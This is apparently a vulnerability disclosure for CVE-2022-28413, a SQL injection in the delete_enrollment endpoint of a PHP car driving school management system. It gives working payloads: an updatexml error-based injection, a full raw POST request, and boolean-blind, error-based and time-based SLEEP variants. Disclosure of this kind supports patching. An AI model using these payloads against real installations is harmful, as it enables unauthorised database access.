CVE-2022-28413: bug_report/SQLi-2.md at main · k0xx11/bug_report

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Car driving school management system has a SQL injection vulnerability.

vendors: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html

Vulnerability file: /cdsms/classes/Master.php?f=delete_enrollment

Vulnerability location: /cdsms/classes/Master.php?f=delete_enrollment, id

[+]Payload: id=5’ and updatexml(1,concat(0x7e,(select version()),0x7e),0)–+ //id is Injection point

POST /cdsms/classes/Master.php?f=delete_enrollment HTTP/1.1
Host: 192.168.1.19
Content-Length: 64
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/cdsms/admin/?page=enrollees
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=vfe306mj2a11p5q94440ttg4bd
Connection: close

id=5' and updatexml(1,concat(0x7e,(select version()),0x7e),0)--+ //id is Injection point

— Parameter: id (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: id=5’ RLIKE (SELECT (CASE WHEN (2063=2063) THEN 5 ELSE 0x28 END))-- tmvi Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: id=5’ AND EXTRACTVALUE(3533,CONCAT(0x5c,0x71767a6b71,(SELECT (ELT(3533=3533,1))),0x716a6b7871))-- tQbt

Type: time\-based blind
Title: MySQL \>= 5.0.12 AND time\-based blind (query SLEEP)
Payload: id\=5' AND (SELECT 1981 FROM (SELECT(SLEEP(5)))mXOm)-- Mmee

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